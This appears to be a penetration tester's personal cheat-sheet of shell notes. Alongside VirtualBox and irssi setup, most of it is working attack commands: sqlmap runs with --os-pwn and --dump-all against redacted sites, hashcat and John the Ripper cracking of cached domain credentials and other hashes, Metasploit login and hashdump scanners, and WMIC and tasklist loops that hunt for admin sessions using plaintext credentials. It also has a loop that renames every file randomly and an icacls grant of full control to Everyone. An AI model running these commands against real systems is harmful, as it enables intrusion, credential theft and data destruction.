1251 find /var/log/apache2/access.log* -exec webalizer -c /etc/webalizer/webalizer.conf '{}' \;
1252
1253
1254# wipe irssi conf and setup
1255rm -Rf ~./.irssi
1256/NETWORK ADD synirc
1257/SERVER ADD -auto -network synirc irc.synirc.net 6667
1258/CHANNEL ADD -auto #newznab synirc
1259/SET autolog ON
1260/SET autolog_level ALL
1261
1262
1263/alias hideadd eval set activity_hide_targets $activity_hide_targets $-
1264/alias hideclear set -c activity_hide_targets
1265/alias hidelevels.clear set -c activity_hide_level
1266/alias hidelevels.set set activity_hide_level parts joins quits nicks modes
1267/alias hidelist set activity_hide_targets
1268/alias hideset set activity_hide_targets $-
1269
1270/hideadd
1271/hideclear
1272/hidelevels.clear
1273/hidelevels.set
1274/hidelist
1275/hideset
1276/ignore -channels #newznab * JOINS PARTS QUITS NICKS
1277
1278
1279
1280
1281# virtualbox vbox headless vbs script
1282Set WshShell = WScript.CreateObject("WScript.Shell")
1283obj = WshShell.Run("C:\Progra~1\Oracle\VirtualBox\VBoxHeadless.exe -s nnplus64", 0)
1284set WshShell = Nothing
1285
1286
1287# compress dynamic disk in virtualbox
1288dd if=/dev/zero of=/zerofile; sudo rm /zerofile
1289dd if=/dev/zero of=/zerofile; sudo rm /zerofile
1290VBoxManage modifyhd nnplus2.vdi -compact
1291
1292
1293
1294# start vbox vm
1295VBoxHeadless -s nnplus
1296
1297# start a vm hidden/headless
1298powershell start-process 'C:\Program Files\Oracle\VirtualBox\vboxheadless' '-s nnplus64' -WindowStyle Hidden
1299
1300
1301# wipe snapshot
1302VBoxManage snapshot nnplus take clean
1303
1304# shutdown via cmd
1305VBoxManage controlvm "nnplus" powerof
1306
1307
1308# backup conf files quickly before update
1309locate "*.conf"|xargs tar -zcpf "/home/mythtv/CONF_ZIP_`date +%Y%m%d`.tar.gz"
1310
1311IP to Site
1312http://www.ip866.com/reverse.aspx
1313http://www.myipneighbors.com
1314http://www.yougetsignal.com/tools/web-sites-on-web-server
1315http://ip.wen.la
1316http://www.114best.com/ip/
1317http://www.zzstat.com/ip_domain.html
1318http://whois.webhosting.info
1319http://www.bm8.com.cn/myip
1320http://www.seores.com/search/checkdomainfromip.asp
1321http://tools.dxsheng.com/IpSnap
1322http://tool.gimoo.net/iphost
1323http://www.yw123.com/ip.asp
1324http://cn.bing.com/search?q=ip%3A209.195.132.165
1325http://www.ip138.com+
1326
1327hashs
1328href="http://hashcrack.com
1329http://www.lmcrack.com
1330http://passcracking.com
1331http://www.cmd5.com
1332http://xmd5.org
1333http://md5.rednoize.com
1334http://www.t00ls.net/tools/md5
1335http://www.hashchecker.com/index.php?_sls=search_hash
1336http://md5.mmkey.com
1337http://gdataonline.com/seekhash.php">GdataOnline</a><br>
1338http://cha88.cn/safe/md5.php
1339http://www.md5crack.com
1340http://www.md5.com.cn
1341http://www.objectif-securite.ch/en/products.php
1342
1343#db ports ?
1344-T3 -p 1521-1527,3306-3310,1433-1437,3200-3299,3300-3399,32000-32990,33000-33990
1345
1346# mount images also checck sleuthkit.org/autopsy/
1347First I check the disk geometry with sfdisk -l -u -S *
1348Then look for the start sector of the partition, e.g. 5
1349
1350mount -o loop,offset=$((5 * 512)) [image] /mnt
1351mount the partition to /mnt (replace 5 with the output from sfdisk)
1352
1353mount -t ntfs -o ro,offset=32256,loop,umask=007,gid=4 /media/IOMEGA_BKUP/CLIENT-MX/APPSERVER.dd appserver/
1354
1355mount -t ntfs -o ro,offset=41126400,loop,umask=007,gid=4 /media/IOMEGA_BKUP/CLIENT-MX/RH-CLIENT-MX.dd rh-CLIENT-MX/part1/
1356mount -t ntfs -o ro,offset=12930172416,loop,umask=007,gid=4 /media/IOMEGA_BKUP/CLIENT-MX/RH-CLIENT-MX.dd rh-CLIENT-MX/part2/
1357
1358mount -t ntfs -o ro,offset=32256,loop,umask=007,gid=4 /media/IOMEGA_BKUP/CLIENT-MX/SERVERSQL.dd serversql
1359mount -t ntfs -o ro,offset=32256,loop,umask=007,gid=4 /media/IOMEGA_BKUP/CLIENT-MX/SERVERSQL2.dd serversql2/
1360
1361
1362
1363# nethackit.sh.txt metasploit scanners
1364auxiliary/scanner/ftp/anonymous
1365auxiliary/scanner/ftp/ftp_login
1366auxiliary/scanner/snmp/snmp_enum
1367auxiliary/scanner/snmp/snmp_enumshares
1368auxiliary/scanner/snmp/snmp_enumusers
1369auxiliary/scanner/snmp/snmp_login
1370auxiliary/scanner/mssql/mssql_hashdump
1371auxiliary/scanner/oracle/oracle_login
1372auxiliary/scanner/oracle/sid_brute
1373auxiliary/scanner/smtp/smtp_enum
1374auxiliary/scanner/smtp/smtp_version
1375auxiliary/scanner/telnet/telnet_login
1376auxiliary/scanner/mysql/mysql_hashdump
1377auxiliary/scanner/mysql/mysql_login
1378auxiliary/scanner/mysql/mysql_version
1379auxiliary/scanner/smb/smb_version
1380auxiliary/scanner/smb/smb_enumusers
1381auxiliary/scanner/smb/smb_login
1382auxiliary/scanner/smb/smb_enumshares
1383auxiliary/scanner/nfs/nfsmount
1384auxiliary/scanner/vnc/vnc_login
1385auxiliary/scanner/vnc/vnc_none_auth
1386auxiliary/scanner/pop3/pop3_version
1387auxiliary/scanner/pop3/pop3_login
1388auxiliary/scanner/http/http_login
1389auxiliary/scanner/http/dir_scanner
1390auxiliary/scanner/http/dir_scanner
1391auxiliary/scanner/http/http_version
1392auxiliary/scanner/http/robots_txt
1393auxiliary/scanner/http/apache_userdir_enum
1394auxiliary/scanner/http/blind_sql_query
1395auxiliary/scanner/http/cisco_ios_auth_bypass
1396auxiliary/scanner/http/error_sql_injection
1397auxiliary/scanner/http/files_dir
1398auxiliary/scanner/http/jboss_vulnscan
1399auxiliary/scanner/http/web_vulndb
1400auxiliary/scanner/ssh/ssh_login
1401auxiliary/scanner/ssh/ssh_login_pubkey
1402auxiliary/scanner/ssh/ssh_version
1403auxiliary/scanner/sip/enumerator
1404auxiliary/scanner/sip/enumerator_tcp
1405auxiliary/scanner/sip/sipdroid_ext_enum
1406
1407# grep password words in a file and shot 4 lines before and after grep images AIX images
1408egrep -A 4 -B 4 -ia '(passwd|password|shadow)' someAIX_NIM_DUMP.image.110512 > out.txt
1409# perform strings on the output so we can read it ..
1410strings out.txt > out2.txt
1411
1412
1413# Oracle 7-10g DES(ORACLE) Oclhashcat_plus GPU
1414# input : F35C90763516369B:DEV_MDS
1415cudaHashcat-plus64.exe --hash-type 3100 C:\egb\ocl\ORACLE.txt C:\egb\Dictionaries\PasswordsPro.dic C:\egb\Dictionaries\Xploitz_clean.lst
1416
1417#oracle dump ref defcon-17-chris_gates-breaking_metasploit.pdf and win32exec.rb in MSF
1418select owner, table_name, column_name,data_type,data_length, data_precision,data_default, avg_col_len, char_length from sys.dba_tab_columns where owner not in ('APPQOSSYS','ADUSER','CTXSYS','DIP','DBSNMP','MDSYS','OUTLN','SYS','SYSTEM','TEST','XDB','WMSYS','XSNULL') AND avg_col_len>0
1419
1420# oracle
1421nmap -n --script=oracle-sid-brute -p 1521-1560 -iL oracle -A
1422
1423# mount smb share with runas/savecred ... yes this is bad idea!
1424runas /u:admin /savecred "net use Z: \\192.168.1.151\myth\h /del"
1425runas /u:admin /savecred "net use \\192.168.1.151\myth\h /del"
1426runas /u:admin /savecred "net use z: \\192.168.1.151\myth\h /user:mythtv PASSSWORDHERE"
1427
1428
1429
1430
1431Use takeown to take ownership of the file
1432takeown /r /d y /f *
1433Follow it up with icacls set the access control list
1434icacls * /t /grant Everyone:F
1435
1436
1437#So it appears Google translator blocks English to English translating ( aka super fast web proxy ). So guess what ? Just change the source language it to valid English language code like en-au
1438
1439http://translate.google.com/translate?sl=af&tl=en-au&js=n&prev=_t&hl=en&ie=UTF-8&layout=2&eotf=1&u=http%3A%2F%2Frmccurdy.com
1440
1441
1442
1443#gawk awk system exec commands with output of awk
1444/rmccurdy/scripts/web_dump.sh:echo $i|sed 's/,/ /g' | gawk '{system ("curl -k --location-trusted -m 3 -L -o " $1"_"$2".html https:\/\/"$1":"$2 )}' 2>&1 &
1445/rmccurdy/scripts/web_dump.sh:echo $i|sed 's/,/ /g' | gawk '{system ("curl -k --location-trusted -m 3 -L -o " $1"_"$2".html http:\/\/"$1":"$2 )}' 2>&1 &
1446
1447# filename= in header
1448curl -O -J -L URL
1449
1450
1451#Nmap Idle Scanning.
1452use auxiliary/scanner/ip/ipidseq
1453nmap 192.168.1.250 -top-ports 9 -D RND:120 -T4 -ff
1454
1455# wmic fu search systems for running 'exe' to hijack
1456FOR /F "delims==" %%A IN ('type ips.txt') DO wmic /Node:%%A wmic /user:username /password:yourpassword /FAILFAST:ON process where "name like '%.exe'" call getowner
1457
1458# wmic fu to dump VPN event logs cisco
1459wmic nteventlog where filename='cisco anyconnect vpn client' backupeventlog %USERPROFILE%\desktop\Cisco_AnyConnect_VPN_CLient_%USERNAME%_%COMPUTERNAME%.evt
1460
1461
1462Netsess.exe .h
1463
1464FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt &&
1465FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
1466
1467FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
1468FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process
1469
1470on %i && pause
1471
1472for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in
1473
1474(admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
1475
1476for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in
1477
1478(admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
1479
1480
1481#uwall.tv direct link
1482http://uwall.tv/player_lightbox.php?q=gangnam%20style
1483
1484# cat /bin/RAND
1485IFS=$'\n'
1486
1487for fname in `find . -type f `
1488do
1489 mv "$fname" $RANDOM$RANDOM
1490done
1491
1492
1493
1494# burp in win7 etc ..
1495run as administrator
1496Solution was to add the "-Djava.net.preferIPv4Stack=true" flag, so the following entry in my .bat file works now:
1497
1498# John the Ripper Password Cracker (Fast Mode)
1499# see also :
1500#
1501# auxiliary/analyze/jtr_aix
1502# auxiliary/analyze/jtr_linux
1503# auxiliary/analyze/jtr_mssql_fast
1504# auxiliary/analyze/jtr_mysql_fast
1505# auxiliary/analyze/jtr_oracle_fast
1506# auxiliary/analyze/jtr_unshadow
1507# auxiliary/analyze/postgres_md5_crack
1508
1509
1510use auxiliary/analyze/jtr_crack_fast
1511set Munge 0
1512run# got new ebooks with roubble \n\n or \r\r
1513For converting double newlines (\n\n) to a single newline (\n):
1514sed -e 'N;P;s/\n$//;D'
1515
1516For converting double carriage returns (\r\r) to a single carriage
1517return (\r):
1518sed -e 's/\r\r/\r/g'
1519
1520tr(1) has the -s option, but that will squeeze multiple (possibly more
1521than two) occurrences to a single occurrence.
1522
1523This can also be handled in the more general case with perl(1), e.g.:
1524perl -pe '
1525BEGIN {$/="\n\n";}
1526s/\n\n/\n/o;
1527
1528john 1337 speak worlist gen:
1529
1530
1531
1532The default john.conf includes some rules like that, enabled for "single crack" mode only by default. You may copy the lines between these two comments:
1533# The following 3l33t rules are based on original Crack's dicts.rules
1534l/asa4[:c]
1535l/ese3[:c]
1536l/lsl1[:c]
1537l/oso0[:c]
1538l/sss$[:c]
1539...
1540l/asa4/ese3/lsl1/oso0/sss$[:c]
1541# Now to the prefix stuff...
1542into the [List.Rules:Wordlist] section to have them enabled for wordlist mode as well. usage: john -w=wordlist --stdout --rules
1543
1544
1545# slow this or run it over proxychains etc ..
1546for i in `cat in` ;do python metagoofil.py -d $i -l 100 -f all -o micro_$i.html -t micro-files_$i;sleep 60;done
1547for i in `cat in` ;do ./theHarvester.py -d $i -b google;sleep 60;done
1548
1549
1550# hybrid mask attack hashcat not all special characters
1551?u?l?d!@#$-().*_
1552
1553# grep 8 or more char long characterslength
1554grep '[^\ ]\{8,\}'
1555# sed 8 chars long characters long length
1556sed -n -e '/^.\{8\}$/p''
1557
1558
1559# fix path Environment Variables path issues in M$
1560sysdm.cpl
1561C:\Program Files\w3af;C:\Program Files;C:\winxp;C:\winxp\System32;c:\program files\nmap;C:\Program Files\RSA SecurID Token Common;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Strawberry\c\bin;C:\Strawberry\perl\site\bin;C:\Strawberry\perl\bin
1562
1563
1564# nmap SMB check unsafe
1565nmap --script smb-check-vulns.nse --script-args=unsafe=1 -p445 192.168.1.0/24 --open
1566
1567# openvas cioent
1568# Update your distro
1569apt-get update && apt-get dist-upgrade
1570
1571# Install openvas server and client software + security plugins
1572apt-get install openvas-server openvas-client \
1573 openvas-plugins-base openvas-plugins-dfsg
1574
1575# Update the vuln. database
1576openvas-nvt-sync
1577
1578Add a user that you're going to use from the client, to login:
1579
1580openvas-adduser
1581
1582Here, you'll add a user/pass combination.
1583
1584When prompted to add a 'rule' - I allow my user to do everything. The rules allow/disallow scanning of hosts. If you want you can let bob scan 192.168.0.0/24 or whatever. I want my user to scan all, so when prompted, simply enter
1585
1586default accept
1587
1588Now, fire up the server. Note that the first time you run, it loads all those checks into memory so it takes a LONG time for the server to actually start.
1589
1590/etc/init.d/openvas-server start
1591
1592Now, you can start scanning. Create a file with IP's and/or hostnames that your client will feed to the server to scan. Something like this:
1593
1594192.168.1.5
1595www.mydomain.com
1596dns.mydomain.com
159710.1.19.0/24
1598
1599etc.
1600
1601The server listens on port: 9390 by default so you'll want to tell your client to connect there. Once you have the file created, you can kick off your scan like this:
1602
1603OpenVAS-Client -q 127.0.0.1 9390 admin scanme.txt -T html \
1604 ~/Desktop/openvas-output-`date`.html
1605
1606You'll be prompted to accept the SSL certificate, go ahead, it's automagically created by the pkg when it's installed. Then, open that file in a browser when it's done and start going through it. Be warned, scanning is very hostile so you should really only scan your own systems.. and those of your enemies.
1607
1608
1609# sqlmap notes .. also check out Havij 1.15 - Advanced SQL Injection
1610
1611--wizard
1612--search -C pass,pwd,ssn
1613
1614
1615/pentest/database/sqlmap/sqlmap.py -u "https://tZZZZZZ.com/ZZZZZ/Default.aspx" --data="__VIEWSTATE=%ZZZZZZZZ&btnContinue=Continue" --os-pwn --msf-path /pentest/exploits/framework
1616
1617/pentest/database/sqlmap/sqlmap.py -u "http://ZZZZ4/forgotpass.aspx" --data="__VIEWSTATE=%2FZZZZZZ&email=a&submit=Password" --dump-all --exclude-sysdbs
1618
1619
1620# for use with burpsuite and NTLM stop and threads also good stuff
1621/bin/python2.7.exe sqlmap.py --start=1 --stop=10 --threads=10 -p Batch_dt --dbms=mssql --proxy="http://localhost:8080" -u 'http://yaySQLI?Batch_dt=8%2f12%2f2015&Batch_nbr=1&Loc=MOB' --dump-all --exclude-sysdbs
1622
1623
1624
1625#oclHashcat plus Support List :
1626
1627# scripts !
1628http://itsecblog.net/downloads/batchcrack.sh
1629http://rmccurdy.com/scripts/batchcrack_rmccurdy.bat
1630
1631number PSA hashcat (0.39b24) oclHashcat-plus (0.08b25) oclHashcat-lite (0.10b9)
16320 MD5 x x x
16331 *md5($pass.$salt) (see 11) x
16342 *md5($salt.$pass) (see 21) x
16353 *md5(md5($pass)) (see 2600) x
16364 *md5(md5(md5($pass))) x
16375 *vBulletin < v3.8.5 (see 2611) x
16386 *md5(md5($salt).$pass) (see 2811) x
16397 *md5($salt.md5($pass)) x
16408 *md5($salt.$pass.$salt) x
16419 *md5(md5($salt).md5($pass)) x
164210 *md5(md5($pass).md5($salt)) x x
164311 *md5($salt.md5($salt.$pass)) x
164411 Joomla x x
164512 *md5($salt.md5($pass.$salt)) x
164615 *vBulletin > v3.8.5 (see 2711) x
164721 osCommerce, xt:Commerce x
164830 *md5($username.0.$pass) x
164931 *md5(strtoupper(md5($pass))) x
1650100 SHA1 x x x
1651101 nsldap, SHA-1(Base64), Netscape LDAP SHA x x
1652101 *sha1($pass.$salt) x
1653102 *sha1($salt.$pass) x
1654103 *sha1(sha1($pass)) x
1655104 *sha1(sha1(sha1($pass))) x
1656105 *sha1(strtolower($username).$pass) (see 121) x
1657110 *sha1($pass.$salt) x
1658111 nsldaps, SSHA-1(Base64), Netscape LDAP SSHA x x
1659112 Oracle 11g x x
1660121 SMF > v1.1 x
1661122 OSX v10.4, v10.5, v10.6 x
1662131 MSSQL(2000) x x
1663132 MSSQL(2005) x x
1664200 MySQL323 x
1665300 MySQL >=4.1 x x x
1666400 phpass, MD5(Wordpress), MD5(phpBB3) x x
1667500 md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5 x x
1668600 *SHA-1(Base64) (see 101) x
1669700 *SSHA-1(Base64) (see 111) x
1670800 SHA-1(Django) x
1671900 MD4 x x x
16721000 NTLM x x x
16731100 Domain Cached Credentials, mscash x x x
16741200 MD5(Chap) x
16751300 MSSQL x
16761400 SHA256 x x x
16771500 descrypt, DES(Unix), Traditional DES x x
16781600 md5apr1, MD5(APR), Apache MD5 x x
16791700 SHA512 x x
16801800 SHA-512(Unix) x
16811900 SL3 x
16822100 Domain Cached Credentials2, mscash2 x
16832400 Cisco-PIX MD5 x x
16842500 WPA/WPA2 x
16852600 Double MD5 x x
16862611 vBulletin < v3.8.5 x x
16872711 vBulletin > v3.8.5 x x
16882811 IPB2+, MyBB1.2+ x x
16893000 LM x x
1690
1691 *
1692 * Depreached,
1693
1694
1695Example :
1696set BIN=oclHashcat-plus64
1697set OPTS=--attack-mode 3 --gpu-accel 160 --gpu-loops 1024 --gpu-watchdog 0 --runtime 30 --force --custom-charset1 ?l?d?s?u
1698
1699%BIN% %OPTS% --hash-type 0 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
1700%BIN% %OPTS% --hash-type 11 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
1701%BIN% %OPTS% --hash-type 21 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aa ?1?1?1?1?1?1?1?1
1702%BIN% %OPTS% --hash-type 100 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
1703%BIN% %OPTS% --hash-type 101 {SHA}aaaaaaaaaaaaaaaaaaaaaaaaaaQ= ?1?1?1?1?1?1?1?1
1704%BIN% %OPTS% --hash-type 111 {SSHA}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaQ== ?1?1?1?1?1?1?1?1
1705%BIN% %OPTS% --hash-type 112 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaa ?1?1?1?1?1?1?1?1
1706%BIN% %OPTS% --hash-type 121 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:a ?1?1?1?1?1?1?1?1
1707%BIN% %OPTS% --hash-type 122 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
1708%BIN% %OPTS% --hash-type 131 0x0100aaaaaaaa0000000000000000000000000000000000000000aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
1709%BIN% %OPTS% --hash-type 132 0x0100aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
1710%BIN% %OPTS% --hash-type 300 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
1711%BIN% %OPTS% --hash-type 400 $H$9aaaaaaaaaaaaaaaaaaaaaaaaaaaaa1 ?1?1?1?1?1?1?1?1
1712%BIN% %OPTS% --hash-type 500 $1$aaaaaaaa$aaaaaaaaaaaaaaaaaaaaa1 ?1?1?1?1?1?1?1?1 --gpu-loops 1000
1713%BIN% %OPTS% --hash-type 900 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
1714%BIN% %OPTS% --hash-type 1000 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
1715%BIN% %OPTS% --hash-type 1100 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:a ?1?1?1?1?1?1?1?1
1716%BIN% %OPTS% --hash-type 1400 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
1717%BIN% %OPTS% --hash-type 1500 aaaaaaaaaaaaw ?1?1?1?1?1?1?1?1 --gpu-accel 80
1718%BIN% %OPTS% --hash-type 1600 $apr1$aaaaaaaa$aaaaaaaaaaaaaaaaaaaaa1 ?1?1?1?1?1?1?1?1 --gpu-loops 1000
1719%BIN% %OPTS% --hash-type 2100 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:a ?1?1?1?1?1?1?1?1
1720%BIN% %OPTS% --hash-type 2400 aaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
1721%BIN% %OPTS% --hash-type 2500 test.hccap ?1?1?1?1?1?1?1?1
1722%BIN% %OPTS% --hash-type 2611 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaa ?1?1?1?1?1?1?1?1
1723%BIN% %OPTS% --hash-type 2711 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
1724%BIN% %OPTS% --hash-type 2811 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaa ?1?1?1?1?1?1?1?1
1725sq
1726
1727# ocl hashcat plus examples:
1728
1729
1730
1731all Rule based attack:
1732FOR /F "delims==" %%A IN ('DIR/B/S ".\rules\"') DO cudaHashcat-plus32.exe -a 0 -r "%%A" -m1100 -o out.txt "mscache2" "C:\egb\Dictionaries\rockyou.txt"
1733
1734
1735
1736
1737
1738rem example brute by char to 7 max chars in ~5min with GTX 560 example hash '2d9f0b052932ad18b87f315641921cda:user' password is password ...
1739cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1
1740cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1
1741cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1
1742cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1?1
1743cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1?1?1
1744cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1?1?1?1
1745
1746
1747rem example Hybrid attack rockyou.txt wordlist+MASK to 4 chars
1748cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\rockyou.txt" "?1"
1749cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\rockyou.txt" "?1?1"
1750cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\rockyou.txt" "?1?1?1"
1751
1752
1753rem same as above with 1337 speek wordlist+MASK to 4 chars
1754cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\1337_speak.txt" "?1"
1755cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\1337_speak.txt" "?1?1"
1756cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\1337_speak.txt" "?1?1?1"
1757
1758rem example Hybrid attack rockyou.txt wordlist+MASK to 4 chars digi and some special chars only ...
1759cudaHashcat-plus32.exe -o out.txt -a6 -1 "?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\rockyou.txt" "?1?1?1"
1760
1761rem example Hybrid attack 1337 speekt wordlist+MASK to 4 chars digi and some special chars only ...
1762cudaHashcat-plus32.exe -o out.txt -a6 -1 "?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\1337_speak.txt" "?1?1?1"
1763
1764
1765
1766
1767rem dammit I give up ... 6hrs .. for 7char brute
1768cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1?1?1?1?1
1769
1770
1771REM really !?!? example 8 char brute ( 18 days on GTX 560 )
1772cudaHashcat-plus32.exe -o out.txt -a3 -1 ?l?u?d!@#$-().*_ -m1100 mscache2 ?1?1?1?1?1?1?1?1
1773
1774eneric hash types:
1775Hash-Mode Hash-Name Example
17760 MD5 8743b52063cd84097a65d1633f5c74f5
177710 md5($pass.$salt) 01dfae6e5d4d90d9892622325959afbe:7050461
177820 md5($salt.$pass) f0fda58630310a6dd91a7d8f0a4ceda2:4225637426
177930 md5(unicode($pass).$salt) b31d032cfdcf47a399990a71e43c5d2a:144816
178040 md5($salt.unicode($pass)) d63d0e21fdc05f618d55ef306c54af82:13288442151473
178150 HMAC-MD5 (key = $pass) fc741db0a2968c39d9c2a5cc75b05370:1234
178260 HMAC-MD5 (key = $salt) bfd280436f45fa38eaacac3b00518f29:1234
1783100 SHA1 b89eaac7e61417341b710b727768294d0e6a277b
1784110 sha1($pass.$salt) 2fc5a684737ce1bf7b3b239df432416e0dd07357:2014
1785120 sha1($salt.$pass) cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024
1786130 sha1(unicode($pass).$salt) c57f6ac1b71f45a07dbd91a59fa47c23abcd87c2:631225
1787140 sha1($salt.unicode($pass)) 5db61e4cd8776c7969cfd62456da639a4c87683a:8763434884872
1788150 HMAC-SHA1 (key = $pass) c898896f3f70f61bc3fb19bef222aa860e5ea717:1234
1789160 HMAC-SHA1 (key = $salt) d89c92b4400b15c39e462a8caa939ab40c3aeeea:1234
1790190 sha1(LinkedIn) b89eaac7e61417341b710b727768294d0e6a277b
1791200 MySQL323 7196759210defdc0
1792300 MySQL4.1/MySQL5+ FCF7C1B8749CF99D88E5F34271D636178FB5D130
1793400 phpass, MD5(Wordpress),
1794MD5(Joomla) $P$984478476IagS59wHZvyQMArzfx58u.
1795400 phpass, MD5(phpBB3) $H$984478476IagS59wHZvyQMArzfx58u.
1796500 md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5 2 $1$28772684$iEwNOgGugqO9.bIz5sk8k/
1797800 SHA-1(Django) sha1$$b89eaac7e61417341b710b727768294d0e6a277b
1798900 MD4 afe04867ec7a3845145579a95f72eca7
17991000 NTLM b4b9b02e6f09a9bd760f388b67351e2b
18001100 Domain Cached Credentials, mscash 4dd8965d1d476fa0d026722989a6b772:3060147285011
18011400 SHA256 127e6fbfe24a750e72930c220a8e138275656b8e5d8f48a98c3c92df2caba935
18021410 sha256($pass.$salt) c73d08de890479518ed60cf670d17faa26a4a71f995c1dcc978165399401a6c4:53743528
18031420 sha256($salt.$pass) eb368a2dfd38b405f014118c7d9747fcc97f4f0ee75c05963cd9da6ee65ef498:560407001617
18041430 sha256(unicode($pass).$salt) 4cc8eb60476c33edac52b5a7548c2c50ef0f9e31ce656c6f4b213f901bc87421:890128
18051440 sha256($salt.unicode($pass)) a4bd99e1e0aba51814e81388badb23ecc560312c4324b2018ea76393ea1caca9:12345678
18061450 HMAC-SHA256 (key = $pass) abaf88d66bf2334a4a8b207cc61a96fb46c3e38e882e6f6f886742f688b8588c:1234
18071460 HMAC-SHA256 (key = $salt) 8efbef4cec28f228fa948daaf4893ac3638fbae81358ff9020be1d7a9a509fc6:1234
18081500 descrypt, DES(Unix), Traditional DES 48c/R8JAv757A
18091600 md5apr1, MD5(APR), Apache MD5 2 $apr1$71850310$gh9m4xcAn3MGxogwX/ztb.
18101700 SHA512 82a9dda829eb7f8ffe9fbe49e45d47d2dad9664fbb7adf72492e3c81ebd3e29134d9bc12212bf83c6840f10e8246b9db54a4859b7ccd0123d86e5872c1e5082f
18111710 sha512($pass.$salt) e5c3ede3e49fb86592fb03f471c35ba13e8d89b8ab65142c9a8fdafb635fa2223c24e5558fd9313e8995019dcbec1fb584146b7bb12685c7765fc8c0d51379fd:6352283260
18121720 sha512($salt.$pass) 976b451818634a1e2acba682da3fd6efa72adf8a7a08d7939550c244b237c72c7d42367544e826c0c83fe5c02f97c0373b6b1386cc794bf0d21d2df01bb9c08a:2613516180127
18131730 sha512(unicode($pass).$salt) 13070359002b6fbb3d28e50fba55efcf3d7cc115fe6e3f6c98bf0e3210f1c6923427a1e1a3b214c1de92c467683f6466727ba3a51684022be5cc2ffcb78457d2:341351589
18141740 sha512($salt.unicode($pass)) bae3a3358b3459c761a3ed40d34022f0609a02d90a0d7274610b16147e58ece00cd849a0bd5cf6a92ee5eb5687075b4e754324dfa70deca6993a85b2ca865bc8:1237015423
18151750 HMAC-SHA512 (key = $pass) 94cb9e31137913665dbea7b058e10be5f050cc356062a2c9679ed0ad6119648e7be620e9d4e1199220cd02b9efb2b1c78234fa1000c728f82bf9f14ed82c1976:1234
